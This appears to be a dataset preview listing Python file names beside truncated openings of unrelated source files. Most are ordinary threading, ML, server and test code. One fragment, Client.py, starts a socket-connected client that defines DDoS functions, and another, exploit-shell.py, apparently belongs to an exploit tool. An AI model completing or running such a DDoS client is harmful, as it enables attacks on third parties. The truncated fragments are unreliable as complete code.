source
stringlengths
3
86
python
stringlengths
75
1.04M
Client.py
import subprocess import threading import time import socket import os, sys, random while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = '127.0.0.1' port = 9998 s.connect((host, port)) def ddos(*args): def dos(*args): ...
kimikuri.py
import logging.config import os import platform import sys from logging import StreamHandler, FileHandler, Formatter from queue import Queue from threading import Thread, Event from typing import IO import fastapi import uvicorn from fastapi import FastAPI from starlette.responses import HTMLResponse from telegram imp...
load_img.py
from __future__ import absolute_import from __future__ import print_function from __future__ import division import os import glob import re import sys import cv2 import h5py import torch import numpy as np import argparse import json from threading import Thread, Lock if sys.version_info[0] == 2: import Queue a...
utilities.py
import argparse from time import sleep import threading def ReadOneLine(thefile): line = thefile.readline() if not line: return line while line[-1] != '\n': sleep(0.1) line += thefile.readline() return line def follow(thefile, freq = 2, wait_time = 60 * 16): wait = wa...
anim_controller.py
""" Animation controller for audio, image, and animation playback. """ from typing import List, Tuple, Any, Optional, Iterable from threading import Thread, Lock from collections import deque from . import logger from . import protocol_encoder from . import util from . import robot from . import event from . import...
HVAC2.py
""" Run a large number of simulations for the HVAC model. Results from these simulations are reported in: C. Campaigne, M. Balandat and L. Ratliff: Welfare Effects of Dynamic Electricity Pricing. In preparation. @author: Maximilian Balandat @date Sep 23, 2017 """ # import packages and set up things import os import m...
sdca_ops_test.py
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
local_timer_test.py
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. import multiprocessing as mp import signal import time import unittest import unittest.moc...
__init__.py
import os as _os import sys as _sys import json as _json import uuid as _uuid import time as _time import socket as _socket import threading as _td import logging as _log import fjagepy import base64 import struct from collections import OrderedDict from fjagepy.org_arl_fjage import AgentID from fjagepy.org_arl_fjage i...
tests.py
############################################################################## # # Copyright (c) 2004 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.0 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOF...
core.py
########################################################## # pytorch-kaldi v.0.1 # Mirco Ravanelli, Titouan Parcollet # Mila, University of Montreal # October 2018 ########################################################## import sys import configparser import os from utils import is_sequential_dict, model_init, optim...
coref_model.py
from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import operator import random import math import json import threading import numpy as np import tensorflow as tf import tensorflow_hub as hub import h5py import util import coref_ops import conll im...
CNDH.py
import sys import threading import tkinter as tk # python 3 from tkinter import font as tkfont # python 3 from PIL import ImageTk, Image import subprocess import random # import Tkinter as tk # python 2 # import tkFont as tkfont # python 2 class SampleApp(tk.Tk): def __init__(self, *args, **kwargs): ...
robot_logger.py
import yaml import mysql.connector from mysql.connector import pooling import time import threading class RobotLogger(): def __init__(self): self.cfg = None with open("config.yml", 'r') as ymlfile: self.cfg = yaml.safe_load(ymlfile) self.db = mysql.connector.connect( ...
thread.py
import logging import threading import time # So I started to build this test script woth the plan to # cycle the power plug more often to keep at a particular # temperature. The problem is the relay is only rated for # 100,000 cycles. If I average 1 cycle every 10 seconds, # that means it is good for only 1,000,0...
player.py
#!/usr/bin/python # ---------------- READ ME --------------------------------------------- # This Script is Created Only For Practise And Educational Purpose Only # This is an Example Of Tkinter Canvas Graphics # This Script Is Created For http://bitforestinfo.blogspot.in # This Script is Written By # # ##############...
gap.py
# -*- coding: utf-8 -*- r""" Interface to GAP Sage provides an interface to the GAP system. This system provides extensive group theory, combinatorics, etc. The GAP interface will only work if GAP is installed on your computer; this should be the case, since GAP is included with Sage. The interface offers three piece...
loanbot.py
# NOTE: Most attributes of the loanbot.Loaner object can be changed "on the fly" # Useage: # >>> import loanbot # >>> bot = loanbot.Loaner('yourPOLOAPIkey','yourSuperAPISecret') # >>> bot.start() # LOANER: started # LOANER: Checking for stale offers # LOANER: BTS order 84776305 has been open 4.360000 mins # LOANER: Che...
assetlib.py
""" The asset loading system. """ import abc import collections import concurrent.futures import logging import queue import sys import threading import weakref import ppb.vfs as vfs import ppb.events as events from ppb.systemslib import System __all__ = ( 'AssetLoadingSystem', 'AbstractAsset', 'BackgroundMix...
crawl_xueqiu.py
import requests from spider.UA import agents import random import time import json from spider.stock_queue import StockMongo from lxml import html import multiprocessing from spider.thread_pool import ThreadPool#自己写的线程池 headers={ 'User-Agent':random.choice(agents) } xueqiu_url='https://xueqiu.com/'#雪球官网 comment_ur...
clientserver.py
# -*- coding: UTF-8 -*- """Module that implements a different threading model between a Java Virtual Machine a Python interpreter. In this model, Java and Python can exchange resquests and responses in the same thread. For example, if a request is started in a Java UI thread and the Python code calls some Java code, t...
biaspider.py
#!/usr/bin/env python3 # coding: utf-8 """ Bing Image Archive Spider “必应美图归档”爬虫 https://istartedsomething.com/bingimages/ 2009-05-25 – Now """ import calendar import configparser import datetime import os.path import pyquery import re import requests import threading import time import tkinter import tkinter.scrolle...
pydoc.py
#!/usr/bin/env python # -*- coding: Latin-1 -*- """Generate Python documentation in HTML or text for interactive use. In the Python interpreter, do "from pydoc import help" to provide online help. Calling help(thing) on a Python object documents the object. Or, at the shell command line outside of Python: Run "pydo...
wandb_run.py
# # -*- coding: utf-8 -*- from __future__ import print_function import atexit from datetime import timedelta import glob import json import logging import numbers import os import platform import re import sys import threading import time import traceback import click import requests from six import iteritems, strin...
cronerror.py
from events.processrepo import ProcessRepo import threading from threading import Thread from configs.configs import error_cron_interval_sec, shared_storage_path, error_prefix, error_batch_size, redis_key_expiry from .cronrepo import StoreRepo import logging from events.errorrepo import ErrorRepo from events.processrep...
adb.py
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
Meridian_console_v22_0425.py
# #!/usr/bin/python3 # coding: UTF-8 # もしくは #!/usr/bin/env python など環境に合わせて # Izumi Ninagawa & Meridian project # 2022.02.05 UDP通信動作は安定。 # 2022.02.05 COMMAND WINDOWのPOWERチェックボックスでサーボ電源ON # 2022.02.05 上記サーボ電源ON中にスライドバー操作でサーボ動作(ただしスライドバーが小さいため大まかな動作確認のみに利用可) # 2022.04.05 コードを少し整理整頓 # 2022.04.14 各経路でのエラーの検知と表示の機能を搭載 # 20...
base_touch.py
# -*- coding: utf-8 -*- import threading import time import six from six.moves import queue from airtest.utils.logger import get_logger from airtest.utils.snippet import (on_method_ready, ready_method, reg_cleanup) LOGGING = get_logger(__name__) class BaseTouch(object): """ A super class for Minitouch or Ma...
checksum_N.py
import hashlib import time from multiprocessing import Pool, Process, Queue from multiprocessing.pool import ThreadPool start_time = time.time() def reader(queue): h = hashlib.sha256() while True: msg = queue.get() if msg == 'DONE': break h.update(msg) print h.hexdig...
batch_processor.py
# # Module implementing batch process # # Author Leon Feng __all__ = ['Task', 'Worker', 'BatchProcessor'] import multiprocessing as mp from os import getpid from queue import Empty from threading import Event, Thread from time import sleep class Task(object): def __init__(self, id): self._id = id ...
runDataRecording.py
# encoding: UTF-8 import multiprocessing from time import sleep from datetime import datetime, time from vnpy.event import EventEngine2 from vnpy.trader.vtEvent import EVENT_LOG, EVENT_ERROR from vnpy.trader.vtEngine import MainEngine, LogEngine from vnpy.trader.gateway import ctpGateway from vnpy.trader.app import d...
test_kernel.py
"""test the IPython Kernel""" # Copyright (c) IPython Development Team. # Distributed under the terms of the Modified BSD License. import ast import io import os.path import sys import time import nose.tools as nt from flaky import flaky import pytest from packaging import version from IPython.testing import decora...
train_ac_exploration_f18.py
""" Original code from John Schulman for CS294 Deep Reinforcement Learning Spring 2017 Adapted for CS294-112 Fall 2017 by Abhishek Gupta and Joshua Achiam Adapted for CS294-112 Fall 2018 by Soroush Nasiriany, Sid Reddy, and Greg Kahn Adapted for CS294-112 Fall 2018 with <3 by Michael Chang, some experiments by Greg Kah...
ssd_model.py
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
cliente.py
import socket import threading import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from Crypto.Util.Padding import pad class Cliente: def __init__(self): self.node = socket.socket(socket.AF_INET, socket.SOCK_STREAM) address = input('IP do servidor: ') ...
get_image.py
# 每天爬取一次每只股票的分时图 from selenium import webdriver import time import json import requests from scrapy.selector import Selector from requests import RequestException from selenium.common.exceptions import TimeoutException from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait ...
test_index.py
import logging import time import pdb import threading from multiprocessing import Pool, Process import numpy import pytest import sklearn.preprocessing from utils import * from constants import * uid = "test_index" BUILD_TIMEOUT = 300 field_name = default_float_vec_field_name binary_field_name = default_binary_vec_fi...
mqtt_tcp_example_test.py
import re import os import sys import socket from threading import Thread import struct import time from tiny_test_fw import DUT import ttfw_idf msgid = -1 def get_my_ip(): s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s1.connect(("8.8.8.8", 80)) my_ip = s1.getsockname()[0] s1.close() re...
twitter.py
#!/usr/bin/env python # # Copyright (c) 2017-Present Pivotal Software, Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICE...
arxiv_parser.py
from urllib import request import requests import json from bs4 import BeautifulSoup import threading import time import toml import validators from src.core.timer_utils import Timer class ArXivParser(): """ Process scientific articles (PDFs) available on ArXiv.org. ArXivParser fetches periodically batc...
test_socket.py
import unittest from test import support import errno import io import itertools import socket import select import tempfile import time import traceback import queue import sys import os import array import contextlib from weakref import proxy import signal import math import pickle import struct import random import...
connection.py
# Copyright DataStax, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, softwa...
robust.py
import netifaces import socket import time import threading from essentials import socket_ops_v2 as socket_ops from essentials.network_ops import Get_GW, Get_IP class Device(object): def __init__(self, ip, data): self.ip = ip self.discovery_data = data @property def json(self): ...
train.py
# Remove TF warnings in Stable baselines (may not be safe) import warnings warnings.simplefilter(action='ignore', category=FutureWarning) import tensorflow as tf tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR) from stable_baselines.common.policies import MlpPolicy from stable_baselines.common.vec_env imp...
client.py
import logging, time, sys, glob, threading, queue, os, time, base64, atexit, json, configparser, socket from .triggers import Triggers; class InternalClient(): def register(self, module, trigger, trigger_method = False, server_request = False): if not trigger_method: trigger_method = module.trigger_called; ...
call.py
# Copyright (c) 2014-2015, Ruslan Baratov # All rights reserved. # Adapted to python3 version of: http://stackoverflow.com/questions/4984428 import os import platform import subprocess import sys import threading import time # Tests: # # Windows: # * Control Panel -> Region -> Administrative -> Current languange for...
data_rosbag_recorder.py
# # # Copyright (c) 2013, Georgia Tech Research Corporation # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright # notice, ...
main.py
'''Load and start Exodus with XBMC stub ''' import sys if sys.version_info < (2, 6) or sys.version_info >= (3, ): print('Python2 (>= 2.6) is required') sys.exit() import threading import runpy import os from os import path from itertools import count from urlparse import urlparse from lib import webbrowser ...
invoker.py
# # Copyright Cloudlab URV 2020 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writin...
decorators.py
from threading import Thread def async(f): def wrapper(*args, **kwargs): thr = Thread(target=f, args=args, kwargs=kwargs) thr.start() return wrapper
procs.py
#!/usr/bin/env python3 """ procs.py: shows that multiprocessing on a multicore machine can be faster than sequential code for CPU-intensive work. """ # tag::PRIMES_PROC_TOP[] import sys from time import perf_counter from typing import NamedTuple from multiprocessing import Process, SimpleQueue, cpu_count # <1> from ...
utilities.py
#!/usr/bin/env python import multiprocessing import os import signal import subprocess import time class LimitedProcess: class Alarm(Exception): pass @staticmethod def _alarm_handler(signum, frame): raise LimitedProcess.Alarm def __init__(self, args, timeout=None): self.args...
core.py
# -*- coding: utf-8 -*- # # :copyright: (c) 2020 by Pavlo Dmytrenko. # :license: MIT, see LICENSE for more details. """ yaspin.yaspin ~~~~~~~~~~~~~ A lightweight terminal spinner. """ from __future__ import absolute_import import functools import itertools import signal import sys import threading import time from...
cuisine.py
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Project : Cuisine - Functions to write Fabric recipes # ----------------------------------------------------------------------------- # License : Revised BSD License # ------------------------------------------...
multiprocessing_envs.py
#This code is from openai baseline #https://github.com/openai/baselines/tree/master/baselines/common/vec_env import numpy as np from multiprocessing import Process, Pipe def worker(remote, parent_remote, env_fn_wrapper): parent_remote.close() env = env_fn_wrapper.x() while True: cmd, data = remote....
shooting.py
import pygame import pygame_gui from gui_page import GuiPage import time import threading import random pygame.mixer.init() # GLOBAL VARIABLES WIDTH = 1000 HEIGHT = 800 aim_color = "#F1310A" aim_size = 15 TARGET_IMAGE = pygame.image.load("target.png") creation_frequency = 500 game_finished = False targ...
RaspberryPiModbusTCPTemperatureSensor.py
# No Warranty or Liability. The code contained herein is being supplied to Licensee # "AS IS" without any warranty of any kind. OSIsoft DISCLAIMS ALL EXPRESS AND IMPLIED WARRANTIES, # INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR # PURPOSE and NONINFRINGEMENT. In...
monitor.py
# Copyright 2018 Microsoft Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in...
test_subprocess.py
import unittest from unittest import mock from test import support import subprocess import sys import signal import io import itertools import os import errno import tempfile import time import traceback import selectors import sysconfig import select import shutil import threading import gc import textwrap import jso...
util.py
# Electrum - lightweight Bitcoin client # Copyright (C) 2011 Thomas Voegtlin # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights t...
safe_t.py
from binascii import hexlify, unhexlify import traceback import sys from typing import NamedTuple, Any, Optional, Dict, Union, List, Tuple, TYPE_CHECKING from electrum_blk.util import bfh, bh2u, versiontuple, UserCancelled, UserFacingException from electrum_blk.bip32 import BIP32Node from electrum_blk import constants...
test_manager.py
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
apps.py
import os import sys from django.apps import AppConfig from django.conf import settings from threading import Thread from tornado.ioloop import IOLoop from bokeh.server.server import Server sys.path.append(os.path.join(os.path.dirname(__file__), './plotter')) from start_live_streaming import start_live_streaming from ...
main.py
# -*- coding: utf-8 -*- import ctypes import os import socket import sys import tempfile import threading import time import webbrowser from base64 import b64encode from django.core.exceptions import ImproperlyConfigured from django.conf import ENVIRONMENT_VARIABLE from django.utils.translation import activate, check...
maintenance.py
# Copyright 2019 Red Hat, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
Server.py
''' Created on 28/mar/2015 @author: Davide ''' import Socket import threading from lib import settings class Server(): def __init__(self, ComponentList): self.ComponentList = ComponentList self.current_component = None self.current_function = None self.server = Socket.ThreadedTCP...
cpu.py
from tqdm import tqdm import pandas as pd import threading import getpass import psutil import time import os class CPUMonitor(object): """ Threading example class The run() method will be started and it will run in the background until the application exits. """ def __init__(self, interval=1)...
executor_test.py
# Copyright 2019 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
scanbackup_20210224150857.py
""" 1、文件到这里 一份给ES 一份给自己 新增ES旧索引入库 在继承原有功能的基础上 重构备份程序,按照数据内的 国家-当前时间(年-月-日) 如果按照数据内的时间的话也会面临和按国家端口备份的问题 不用再分端口了 create by judy 20201217 """ from pathlib import Path import threading import json from queue import Queue import traceback import datetime import time from shutil import copyfile import zipfile import shutil ...
test_bz2.py
#!/usr/bin/python from test import support from test.support import TESTFN import unittest from io import BytesIO import os import subprocess import sys import threading # Skip tests if the bz2 module doesn't exist. bz2 = support.import_module('bz2') from bz2 import BZ2File, BZ2Compressor, BZ2Decompressor has_cmdli...
_simple_stubs.py
# Copyright 2020 The gRPC authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wri...
timeout.py
# -*- coding: utf-8 -*- """ .. invisible: _ _ _____ _ _____ _____ | | | | ___| | | ___/ ___| | | | | |__ | | | |__ \ `--. | | | | __|| | | __| `--. \ \ \_/ / |___| |___| |___/\__/ / \___/\____/\_____|____/\____/ Created on May 21, 2014 ███████████████████████████████████████...
exploit-shell.py
import os import sys import cmd import time import socket import tempfile import requests import threading print_sys = print from rich import print from typing import Optional, Any, Tuple, List TOOLS_PATH = os.path.join(__file__.rsplit('/', maxsplit=2)[0], 'tools/exploit-shell') with open(os.path.join(TOOLS_PATH, 'pa...
video_classifier.py
import os import time import resource import cv2 import numpy as np from threading import Thread from skimage.measure import compare_ssim as ssim tags = {"0001.mp4":"S","0002.mp4":"N","0003.mp4":"S","0004.avi":"N","0005.mp4":"S","0006.mpg":"N","0007.mp4":"S","0008.mp4":"N","0009.mp4":"S","0010.mp4":"N","0011.mp4":"S",...
test_mcrouter_basic.py
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from threading import Thread import time from mcrouter.test.MCProcess import McrouterClient, Memcached, Mcrouter from...
piface_lauflicht_vorlage.py
#! /usr/bin/env python3 # Notwendige Bibliothek installieren: # sudo apt install python3-flask # oder # pip3 install flask import time import threading from flask import Flask from flask import request # TODO: Bibliothek zur Ansteuerung des PiFace importieren und PiFace initialisieren # initialisiere Flas...
Simple_Anti_DDoS.py
import socket import time import random import threading servip = '0.0.0.0' port = 80 connections = 0 max_conn = 10 conn_persec = 0 connected_ips = [] print(" _ _ _____ _____ _____ _____ _ _ ") print(" /\ | | (_) | __ \| __ \ / ____| / ____| ...
customserver.py
from __future__ import annotations import functools import logging import os import websockets import asyncio import socket import threading import time import random from .models import * from MultiServer import Context, server, auto_shutdown, ServerCommandProcessor, ClientMessageProcessor from Utils import get_pu...
shm_multiproc.py
import ctypes import numpy as np from multiprocessing import Pipe, Process from multiprocessing.sharedctypes import RawArray from . import Env, Space START, STEP, RESET, STOP, DONE = range(5) class ShmProcEnv(Env): def __init__(self, env, idx, shm): super().__init__(env.id) self._env, self.idx, s...
app.py
# coding: utf-8 import sys reload(sys) sys.setdefaultencoding("utf-8") import os import time import random import uuid import leancloud from leancloud import Query as LeanQuery import threading from datetime import datetime from flask import Flask, request from flask import render_template, send_file, ...
test_cancellation.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
go_tool.py
import argparse import copy import json import os import shutil import subprocess import sys import tempfile import threading arc_project_prefix = 'a.yandex-team.ru/' std_lib_prefix = 'contrib/go/_std/src/' vendor_prefix = 'vendor/' vet_info_ext = '.vet.out' vet_report_ext = '.vet.txt' def compare_versions(version1,...
executor.py
#!/usr/bin/env python import os import pickle import subprocess import sys import threading import time from threading import Thread import mesos # This function is called in its own thread to actually run the user's command. # When it finishes, it shuts down the scheduler driver (disconnecting the # framework) and...
main.py
from scipy.spatial import distance from imutils import face_utils import imutils import dlib import cv2 import multiprocessing as mp # Define the function for calculating eye aspect ratio with eucilidean distance def eye_aspect_ratio(eye): # Calculate the distance between the 3 pairs of point. A = distance.eu...
etw.py
######################################################################## # Copyright 2017 FireEye Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/L...
client.py
import logging try: import queue except ImportError: # pragma: no cover import Queue as queue import signal import ssl import threading import time import six from six.moves import urllib try: import requests except ImportError: # pragma: no cover requests = None try: import websocket except Impo...
train_A3C.py
import argparse import multiprocessing import os import threading import time import tensorflow as tf from env_doom import Doom from net import Net from utils import print_net_params_number from worker import Worker def main(args): if args.save_path is not None and not os.path.exists(args.save_path): os...
eon_testing_slave.py
#!/usr/bin/env python3 import re import time import json import requests import subprocess from common.timeout import Timeout from http.server import BaseHTTPRequestHandler, HTTPServer from os.path import expanduser from threading import Thread from common.params import Params import os MASTER_HOST = "testing.comma....
installwizard.py
from functools import partial import threading from kivy.app import App from kivy.clock import Clock from kivy.lang import Builder from kivy.properties import ObjectProperty, StringProperty, OptionProperty from kivy.core.window import Window from kivy.uix.button import Button from kivy.utils import platform from kivy...
main.py
import dlib import cv2 import imutils import db_opr import recognize import datetime from dir import configs from concurrent.futures import ThreadPoolExecutor import os import threading config_obj = configs() def main(camera_id, URL, frame_title): url=URL try: if url == "'0'" or url == "'1...
thread_test.py
import utime import threading def target(name, count): for idx in range(count): utime.sleep(0.5) print("Hello from {} - {}".format(name, threading.get_ident())) def main(): print("begin...") t = threading.Thread(target=target, args=("THREAD", 10)) t.start() target("MAIN", 3) ...
MCSEnumerator.py
import array import os import threading try: import queue except ImportError: import Queue as queue from pyminisolvers import minisolvers class MCSEnumerator(object): def __init__(self, csolver, stats, config, pipe=None): self.solver = csolver.s self.clauses = [] self.blk_downs = ...
minion.py
# -*- coding: utf-8 -*- ''' Routines to set up a minion ''' # Import python libs from __future__ import absolute_import, print_function, with_statement import os import re import sys import copy import time import types import signal import fnmatch import logging import threading import traceback import contextlib impo...
threadd.py
#!/usr/bin/env python3 import time, random, threading def threadMethod(name): print('Thread(%s:%s) Start' % (name, threading.current_thread().name)) for index in range(9): print(' Thread(%s), print, %d' % (name, index)) st = random.random() print(' Thread(%s), sleep, %lf...
py_utils.py
# Lint as: python2, python3 # -*- coding: utf-8 -*- # Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org...
proxy.py
# *-* coding:utf-8 *-* import requests from bs4 import BeautifulSoup from zw_model import DB_Util,ZpProxy from multiprocessing import Process, Queue import random import json import time import requests session = DB_Util.get_session() class Proxies(object): """docstring for Proxies""" def __init...
db.py
import datetime import multiprocessing as mp import os import random import time from functools import partial import dropbox import IPython import numpy as np from dropbox.exceptions import ApiError, DropboxException, InternalServerError from dropbox.files import WriteMode from utils.filesystem import longest_common...
frame_split.py
import cv2 import threading def frame(win, chars): while not flag.is_set() and cap.isOpened(): rv, frame = cap.read() if rv: cv2.imshow(win, frame) for c in chars: print(c) if cv2.waitKey(1) & 0xff == 27: break flag.set() # terminate other threads as we...
get_s3_stats.py
#!/usr/bin/env python # # A rudimentry script to probe three test datasets... # import urllib2, urllib import Queue import threading import logging import json import numpy INVENTORIES = ( 'https://s3-us-west-2.amazonaws.com/nasanex/NEX-GDDP/nex-gddp-s3-files.json', \ 'https://s3-us-west-2.amazonaws....
mission.py
#!/usr/bin/env python3 # encoding: utf-8 # # Copyright (c) 2019 SAP SE or an SAP affiliate company. All rights reserved. # # This file is part of ewm-cloud-robotics # (see https://github.com/SAP/ewm-cloud-robotics). # # This file is licensed under the Apache Software License, v. 2 except as noted # otherwise in the LIC...